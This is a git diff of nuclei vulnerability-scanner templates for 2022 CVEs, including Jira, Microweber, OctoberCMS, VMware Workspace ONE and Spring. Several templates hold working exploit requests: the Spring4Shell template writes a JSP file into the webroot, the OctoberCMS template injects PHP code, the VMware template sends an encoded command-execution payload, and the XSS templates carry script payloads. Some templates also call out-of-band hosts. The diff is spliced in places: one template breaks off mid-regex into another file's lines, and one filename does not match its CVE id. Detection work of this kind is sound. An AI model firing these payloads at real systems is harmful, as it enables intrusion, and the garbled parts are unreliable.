'{{BaseURL}}/embed.js' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "if (data.type !== 'setHeight' || !iframes[data.id]) {" - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100afc7b3c83cdd946573ab8168c3e99fff1ce249b1841bb77e3ae6ecbb80d831fc022100cee6f7a6a1801e57f98077417b9e1ce91c5c427907e565744fe8c4e4019b3fb9:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-0540.yaml b/nuclei-templates/CVE-2022/CVE-2022-0540.yaml new file mode 100644 index 0000000000..21d2d6f4d3 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-0540.yaml @@ -0,0 +1,34 @@ +id: CVE-2022-0540 +info: + name: Atlassian Jira Seraph - Authentication Bypass + author: DhiyaneshDK + severity: critical + description: | + Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0. + reference: + - https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-0540 + - https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-0540 + cwe-id: CWE-287 + metadata: + shodan-query: http.component:"Atlassian Jira" + tags: cve,cve2022,atlassian,jira,exposure,auth-bypass +requests: + - method: GET + path: + - '{{BaseURL}}/InsightPluginShowGeneralConfiguration.jspa;' + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'General Insight Configuration' + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/18 diff --git a/nuclei-templates/CVE-2022/CVE-2022-0776.yaml b/nuclei-templates/CVE-2022/CVE-2022-0776.yaml deleted file mode 100644 index 153fbe5e2b..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-0776.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2022-0776 -info: - name: RevealJS postMessage XSS - author: LogicalHunter - severity: medium - description: Cross-site Scripting (XSS) - DOM in GitHub repository hakimel/reveal.js prior to 4.3.0. - reference: - - https://hackerone.com/reports/691977 - - https://github.com/hakimel/reveal.js/pull/3137 - - https://huntr.dev/bounties/be2b7ee4-f487-42e1-874a-6bcc410e4001/ - classification: - cve-id: CVE-2022-0776 - tags: cve,cve2022,headless,postmessage,revealjs -headless: - - steps: - - args: - url: "{{BaseURL}}" - action: navigate - - action: waitload - - action: script - name: extract - args: - code: | - () => { - return (Reveal.VERSION <= "3.8.0" || Reveal.VERSION < "4.3.0") - } - matchers: - - type: word - part: extract - words: - - "true" diff --git a/nuclei-templates/CVE-2022/CVE-2022-0921.yaml b/nuclei-templates/CVE-2022/CVE-2022-0921.yaml new file mode 100644 index 0000000000..5eeef53133 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-0921.yaml @@ -0,0 +1,65 @@ +id: CVE-2022-0954 + +info: + name: Microweber <1.2.11 - Stored Cross-Site Scripting + author: amit-jd + severity: medium + description: | + Microweber before 1.2.1 contains multiple stored cross-site scripting vulnerabilities in Shop's Other Settings, Autorespond E-mail Settings, and Payment Methods. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. + remediation: | + Upgrade Microweber to version 1.2.11 or later to mitigate this vulnerability. + reference: + - https://github.com/advisories/GHSA-8c76-mxv5-w4g8 + - https://huntr.dev/bounties/b99517c0-37fc-4efa-ab1a-3591da7f4d26/ + - https://github.com/microweber/microweber/commit/955471c27e671c49e4b012e3b120b004082ac3f7 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0954 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2022-0954 + cwe-id: CWE-79 + epss-score: 0.00144 + epss-percentile: 0.50222 + cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 3 + vendor: microweber + product: microweber + tags: cve2022,cve,xss,microweber,huntr + +http: + - raw: + - | + POST /api/user_login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + - | + POST /api/save_option HTTP/2 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + Referer: {{BaseURL}}/admin/view:shop/action:options + + option_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother + - | + POST /module/ HTTP/2 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + Referer: {{BaseURL}}/admin/view:shop/action:options + + module=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B + + matchers: + - type: dsl + dsl: + - 'contains(body_2,"true")' + - contains(body_3,'\">\" placeholder=\"Use default') + - 'contains(header_3,"text/html")' + - 'status_code_3==200' + condition: and +# digest: 490a00463044022000cc9a8206ccbc823b71b7d11682af57eb62c7cd6d15308e393af5d9460b13a00220128133adc23ad3f11a14baec1fdfa7049669509da1033a5bb705a1ccb4e4e650:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-0963.yaml b/nuclei-templates/CVE-2022/CVE-2022-0963.yaml new file mode 100644 index 0000000000..7982c258c3 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-0963.yaml @@ -0,0 +1,64 @@ +id: CVE-2022-0963 +info: + name: Microweber > 1.2.12 - Cross-Site Scripting + author: amit-jd + severity: medium + description: | + Microweber prior to 1.2.12 allows unrestricted upload of XML files, which malicious actors can exploit to cause a stored cross-site scripting attack. + reference: + - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/ + - https://github.com/advisories/GHSA-q3x2-jvp3-wj78 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0963 + - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2022-0963 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2022,xss,microweber,cms,authenticated +requests: + - raw: + - | + POST /api/user_login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + - | + POST /plupload HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034 + Referer: {{BaseURL}}admin/view:modules/load_module:files + + -----------------------------59866212126262636974202255034 + Content-Disposition: form-data; name="name" + + {{randstr}}.xml + -----------------------------59866212126262636974202255034 + Content-Disposition: form-data; name="chunk" + + 0 + -----------------------------59866212126262636974202255034 + Content-Disposition: form-data; name="chunks" + + 1 + -----------------------------59866212126262636974202255034 + Content-Disposition: form-data; name="file"; filename="blob" + Content-Type: application/octet-stream + + alert(document.domain) + -----------------------------59866212126262636974202255034-- + - | + GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1 + Host: {{Hostname}} + req-condition: true + cookie-reuse: true + matchers: + - type: dsl + dsl: + - 'contains(body_3,"alert(document.domain)")' + - 'status_code_3==200' + - 'contains(body_2,"bytes_uploaded")' + condition: and diff --git a/nuclei-templates/CVE-2022/CVE-2022-1040.yaml b/nuclei-templates/CVE-2022/CVE-2022-1040.yaml deleted file mode 100644 index 5d4bea1f07..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-1040.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2022-1040 -info: - name: Sophos Firewall <=18.5 MR3 - Remote Code Execution - author: For3stCo1d - severity: critical - description: | - Sophos Firewall version v18.5 MR3 and older contains an authentication bypass vulnerability in the User Portal and Webadmin which could allow a remote attacker to execute code. - reference: - - https://github.com/killvxk/CVE-2022-1040 - - https://github.com/CronUp/Vulnerabilidades/blob/main/CVE-2022-1040_checker - - https://nvd.nist.gov/vuln/detail/CVE-2022-1040 - - https://www.sophos.com/en-us/security-advisories/sophos-sa-20220325-sfos-rce - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-1040 - cwe-id: CWE-287 - metadata: - verified: true - shodan-query: http.title:"Sophos" - tags: cve,cve2022,sophos,firewall,auth-bypass,rce,kev -requests: - - method: POST - path: - - "{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"\U0001F99E\":\"test\"}" - headers: - X-Requested-With: "XMLHttpRequest" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "{\"status\":\"Session Expired\"}" - - type: word - part: header - words: - - "Server: xxxx" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-1815.yaml b/nuclei-templates/CVE-2022/CVE-2022-1815.yaml new file mode 100644 index 0000000000..62e23a8e4b --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-1815.yaml @@ -0,0 +1,31 @@ +id: CVE-2022-1815 +info: + name: Drawio < 18.1.2 - Server Side Request Forgery + author: amit-jd + severity: high + description: | + SSRF in /service endpoint in jgraph/drawio prior to 18.1.2. Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository jgraph/drawio prior to 18.1.2. + reference: + - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-1815 + - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f + - https://github.com/jgraph/drawio/commit/c287bef9101d024b1fd59d55ecd530f25000f9d8 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-1815 + cwe-id: CWE-918 + metadata: + verified: "true" + tags: cve,cve2022,drawio,ssrf,oast,oss,jgraph +requests: + - raw: + - | + GET /service/0/test.oast.me HTTP/2 + Host: {{Hostname}} + matchers: + - type: dsl + dsl: + - "contains(body, 'Interactsh Server')" + - status_code == 200 + condition: and diff --git a/nuclei-templates/CVE-2022/CVE-2022-21500.yaml b/nuclei-templates/CVE-2022/CVE-2022-21500.yaml deleted file mode 100644 index bfd9bb4211..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-21500.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2022-21500 -info: - name: Oracle E-Business Suite <=12.2 - Authentication Bypass - author: 3th1c_yuk1,tess - severity: high - description: | - Oracle E-Business Suite (component: Manage Proxies) 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle E-Business Suite accessible data. - reference: - - https://orwaatyat.medium.com/my-new-discovery-in-oracle-e-business-login-panel-that-allowed-to-access-for-all-employees-ed0ec4cad7ac - - https://twitter.com/GodfatherOrwa/status/1514720677173026816 - - https://www.oracle.com/security-alerts/alert-cve-2022-21500.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-21500 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-21500 - metadata: - shodan-query: http.title:"Login" "X-ORACLE-DMS-ECID" 200 - verified: "true" - tags: cve,cve2022,oracle,misconfig,auth-bypass -requests: - - method: GET - path: - - '{{BaseURL}}/OA_HTML/ibeCAcpSSOReg.jsp' - matchers-condition: and - matchers: - - type: word - words: - - 'Registration' - - 'Register as individual' - - '' - condition: and - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/29 diff --git a/nuclei-templates/CVE-2022/CVE-2022-21705.yaml b/nuclei-templates/CVE-2022/CVE-2022-21705.yaml new file mode 100644 index 0000000000..d48170c9cf --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-21705.yaml @@ -0,0 +1,94 @@ +id: CVE-2022-21705 +info: + name: OctoberCMS Authenticated Remote Code Execution + author: iPhantasmic + severity: high + description: | + Octobercms is a self-hosted CMS platform based on the Laravel PHP Framework. In affected versions user input was not properly sanitized before rendering. An authenticated user with the permissions to create, modify and delete website pages can exploit this vulnerability to bypass `cms.safe_mode` / `cms.enableSafeMode` in order to execute arbitrary code. This issue only affects admin panels that rely on safe mode and restricted permissions. To exploit this vulnerability, an attacker must first have access to the backend area. + remediation: | + The issue has been patched in Build 474 (v1.0.474) and v1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe to your installation manually. + reference: + - https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe + - https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22 + - https://cyllective.com/blog/post/octobercms-cve-2022-21705/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-21705 + cwe-id: CWE-74 + tags: cve,cve2022,authenticated,rce,cms,octobercms,injection +requests: + - raw: + - | # to obtain session_key and token + GET /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + - | # to perform authentication and obtain admin cookies + POST /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + _session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}} + - | # to inject php code in Markup editor and perform exploit + POST /backend/cms HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-OCTOBER-REQUEST-HANDLER: onSave + X-OCTOBER-REQUEST-PARTIALS: + X-Requested-With: XMLHttpRequest + + _session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0 + - | # to obtain theme + POST /backend/cms HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-OCTOBER-REQUEST-HANDLER: onCreateTemplate + X-OCTOBER-REQUEST-PARTIALS: + X-Requested-With: XMLHttpRequest + + _session_key={{session_key}}&_token={{token}}&search=&type=page + - | # to access the template page for generated exploit + POST /backend/cms HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-OCTOBER-REQUEST-HANDLER: onOpenTemplate + X-OCTOBER-REQUEST-PARTIALS: + X-Requested-With: XMLHttpRequest + + _session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm + cookie-reuse: true + extractors: + - type: xpath + name: session_key + attribute: value + xpath: + - "/html/body/div[1]/div/div[2]/div/div/form/input[1]" + internal: true + # Obtain _session_key for current OctoberCMS session + - type: xpath + name: token + attribute: value + xpath: + - "/html/body/div[1]/div/div[2]/div/div/form/input[2]" + internal: true + # Obtain _token for current OctoberCMS session + - type: regex + name: theme + part: body + group: 1 + regex: + - '" - - "Note '' not found" - condition: or - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 404 diff --git a/nuclei-templates/CVE-2022/CVE-2022-22954.yaml b/nuclei-templates/CVE-2022/CVE-2022-22954.yaml new file mode 100644 index 0000000000..02d131fa6e --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-22954.yaml @@ -0,0 +1,48 @@ +id: CVE-2022-22954 + +info: + name: VMware Workspace ONE Access - Server-Side Template Injection + author: sherlocksecurity + severity: critical + description: | + VMware Workspace ONE Access is susceptible to a remote code execution vulnerability due to a server-side template injection flaw. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. + impact: | + Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system. + remediation: | + Apply the latest security patches provided by VMware to mitigate this vulnerability. + reference: + - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 + - https://www.vmware.com/security/advisories/VMSA-2022-0011.html + - http://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-22954 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22954 + cwe-id: CWE-94 + epss-score: 0.97348 + epss-percentile: 0.99878 + cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: vmware + product: identity_manager + shodan-query: http.favicon.hash:-1250474341 + tags: cve2022,cve,workspaceone,kev,tenable,packetstorm,vmware,ssti + +http: + - method: GET + path: + - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Authorization context is not valid" + + - type: status + status: + - 400 +# digest: 4a0a00473045022100d526962a39ddb96c782fb1b73127f860969e804b9df4fb0e992d34f58b0f8a970220594f3e21afff5d99b6ea0023e8d7fd5b96f238f8b48d7c5de5b4269733b91906:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-22963.yaml b/nuclei-templates/CVE-2022/CVE-2022-22963.yaml deleted file mode 100644 index d1387e6883..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-22963.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2022-22963 - -info: - name: Spring Cloud Function SPEL RCE - author: Mr-xn,Adam Crosser - severity: critical - reference: - - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f - - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE - - https://tanzu.vmware.com/security/cve-2022-22963 - - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/ - - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection - classification: - cve-id: CVE-2022-22963 - tags: cve,cve2022,springcloud,rce - -requests: - - raw: - - | - POST /functionRouter HTTP/1.1 - Host: {{Hostname}} - spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}") - Content-Type: application/x-www-form-urlencoded - - {{rand_base(8)}} - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - "dns" - condition: or - - - type: status - status: - - 500 diff --git a/nuclei-templates/CVE-2022/CVE-2022-22965.yaml b/nuclei-templates/CVE-2022/CVE-2022-22965.yaml index 41c8a47152..e6922c3d24 100644 --- a/nuclei-templates/CVE-2022/CVE-2022-22965.yaml +++ b/nuclei-templates/CVE-2022/CVE-2022-22965.yaml @@ -1,53 +1,36 @@ id: CVE-2022-22965 info: - name: Spring - Remote Code Execution - author: justmumu,arall,dhiyaneshDK,akincibor + name: CVE-2022-22965 - Spring4Shell RCE Vulnerability + author: justmumu + description: CVE-2022-22965 - Spring Core Remote Code Execution Vulnerability severity: critical - description: | - Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. - reference: - - https://tanzu.vmware.com/security/cve-2022-22965 - - https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/ - - https://twitter.com/RandoriAttack/status/1509298490106593283 - - https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw - - https://twitter.com/_0xf4n9x_/status/1509935429365100546 - - https://nvd.nist.gov/vuln/detail/cve-2022-22965 - remediation: If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to this exploit. + tags: cve,rce,spring,cve2022,injection classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-22965 - cwe-id: CWE-94 - tags: cve,cve2022,rce,spring,injection,oast,intrusive,kev + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22965 + cwe-id: CWE-770 requests: - - raw: - - | - POST {{BaseURL}} HTTP/1.1 - Content-Type: application/x-www-form-urlencoded + - method: POST + path: + - "{{BaseURL}}" + redirects: false + headers: + suffix: "%>" + c2: "<%" + Content-Type: application/x-www-form-urlencoded + body: class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(%22j%22))%7B%20out.println(new%20String(%22Falcon%20Punch!%22))%3B%20%7D%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=AAAAAAAAAAAAAAA&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= + + - method: GET + path: + - "{{RootURL}}/AAAAAAAAAAAAAAA.jsp" + headers: + 01: "{{wait_for(5)}}" - class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx - - - | - GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1 - - payloads: - interact_protocol: - - http - - https - - matchers-condition: and matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: word - part: interactsh_request - words: - - "User-Agent: Java" - case-insensitive: true - -# Enhanced by md on 2022/10/06 + - type: dsl + dsl: + - "status_code==200 && contains(body, 'Falcon Punch!')" + \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-22972.yaml b/nuclei-templates/CVE-2022/CVE-2022-22972.yaml deleted file mode 100644 index f0934ac0fe..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-22972.yaml +++ /dev/null @@ -1,93 +0,0 @@ -id: CVE-2022-22972 -info: - name: VMware Workspace ONE Access/Identity Manager/vRealize Automation - Authentication Bypass - author: For3stCo1d,princechaddha - severity: critical - description: | - VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. - reference: - - https://github.com/horizon3ai/CVE-2022-22972 - - https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive - - https://www.vmware.com/security/advisories/VMSA-2022-0014.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-22972 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-22972 - cwe-id: CWE-287 - metadata: - fofa-query: app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager" || app="vmware-vRealize" - tags: cve,cve2022,vmware,auth-bypass,oast -requests: - - raw: - - | - GET /vcac/ HTTP/1.1 - Host: {{Hostname}} - - | - GET /vcac/?original_uri={{RootURL}}%2Fvcac HTTP/1.1 - Host: {{Hostname}} - - | - POST /SAAS/auth/login/embeddedauthbroker/callback HTTP/1.1 - Host: {{interactsh-url}} - Content-type: application/x-www-form-urlencoded - - protected_state={{protected_state}}&userstore={{userstore}}&username=administrator&password=horizon&userstoreDisplay={{userstoreDisplay}}&horizonRelayState={{horizonRelayState}}&stickyConnectorId={{stickyConnectorId}}&action=Sign+in - redirects: true - max-redirects: 3 - cookie-reuse: true - extractors: - - type: regex - part: body - name: protected_state - group: 1 - regex: - - 'id="protected_state" value="([a-zA-Z0-9]+)"\/>' - internal: true - - type: regex - part: body - name: horizonRelayState - group: 1 - regex: - - 'name="horizonRelayState" value="([a-z0-9-]+)"\/>' - internal: true - - type: regex - part: body - name: userstore - group: 1 - regex: - - 'id="userstore" value="([a-z.]+)" \/>' - internal: true - - type: regex - part: body - name: userstoreDisplay - group: 1 - regex: - - 'id="userstoreDisplay" readonly class="login-input transparent_class" value="(.*)"/>' - internal: true - - type: regex - part: body - name: stickyConnectorId - group: 1 - regex: - - 'name="stickyConnectorId" value="(.*)"/>' - internal: true - - type: kval - part: header - name: HZN-Cookie - kval: - - 'HZN' - matchers-condition: and - matchers: - - type: word - part: header - words: - - "HZN=" - - type: status - status: - - 302 - - type: word - part: interactsh_protocol - words: - - "http" - -# Enhanced by mp on 2022/06/01 diff --git a/nuclei-templates/CVE-2022/cve-2022-23178.yaml b/nuclei-templates/CVE-2022/CVE-2022-23178.yaml similarity index 100% rename from nuclei-templates/CVE-2022/cve-2022-23178.yaml rename to nuclei-templates/CVE-2022/CVE-2022-23178.yaml diff --git a/nuclei-templates/CVE-2022/CVE-2022-23779.yaml b/nuclei-templates/CVE-2022/CVE-2022-23779.yaml new file mode 100644 index 0000000000..58f7c1ee69 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-23779.yaml @@ -0,0 +1,69 @@ +id: CVE-2022-23779 + +info: + name: Zoho ManageEngine - Internal Hostname Disclosure + author: cckuailong + severity: medium + description: Zoho ManageEngine Desktop Central before 10.1.2137.8 exposes the installed server name to anyone. The internal hostname can be discovered by reading HTTP redirect responses. + remediation: | + Apply the latest security patch or update provided by Zoho ManageEngine to fix the internal hostname disclosure vulnerability. + reference: + - https://www.manageengine.com/products/desktop-central/cve-2022-23779.html + - https://github.com/fbusr/CVE-2022-23779 + - https://nvd.nist.gov/vuln/detail/CVE-2022-23779 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2022-23779 + cwe-id: CWE-200 + epss-score: 0.01224 + epss-percentile: 0.83785 + cpe: cpe:2.3:a:zohocorp:manageengine_desktop_central:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: zohocorp + product: manageengine_desktop_central + fofa-query: app="ZOHO-ManageEngine-Desktop" + tags: cve,cve2022,zoho,exposure + +http: + - method: GET + path: + - "{{BaseURL}}/themes" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - '/themes/' + - 'text/html' + condition: and + + - type: word + part: location + negative: true + words: + - '{{Host}}' + + - type: word + words: + - '

    301 Moved Permanently

    ' + + - type: regex + part: location + regex: + - 'https?:\/\/(.*):' + + - type: status + status: + - 301 + + extractors: + - type: regex + group: 1 + regex: + - 'https?:\/\/(.*):' + part: location + +# digest: 4b0a00483046022100877ce9eaf6e16cfe5e9a9736c91cb15e13175f019f31b2e15624acb8fc71ccfd022100f627fbfd8b99aeb05baa4491f00a316153988fd928bfaca63a0bf9a46086cd9d:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-23808.yaml b/nuclei-templates/CVE-2022/CVE-2022-23808.yaml deleted file mode 100644 index 4d9d63a2b9..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-23808.yaml +++ /dev/null @@ -1,60 +0,0 @@ -id: CVE-2022-23808 - -info: - name: phpMyAdmin < 5.1.2 - Cross-Site Scripting - author: cckuailong,daffainfo - severity: medium - description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities. - remediation: | - Upgrade phpMyAdmin to version 5.1.2 or later to mitigate this vulnerability. - reference: - - https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A - - https://github.com/dipakpanchal456/CVE-2022-23808 - - https://nvd.nist.gov/vuln/detail/CVE-2022-23808 - - https://www.phpmyadmin.net/security/PMASA-2022-2/ - - https://infosecwriteups.com/exploit-cve-2022-23808-85041c6e5b97 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-23808 - cwe-id: CWE-79 - epss-score: 0.00743 - epss-percentile: 0.78912 - cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: phpmyadmin - product: phpmyadmin - shodan-query: 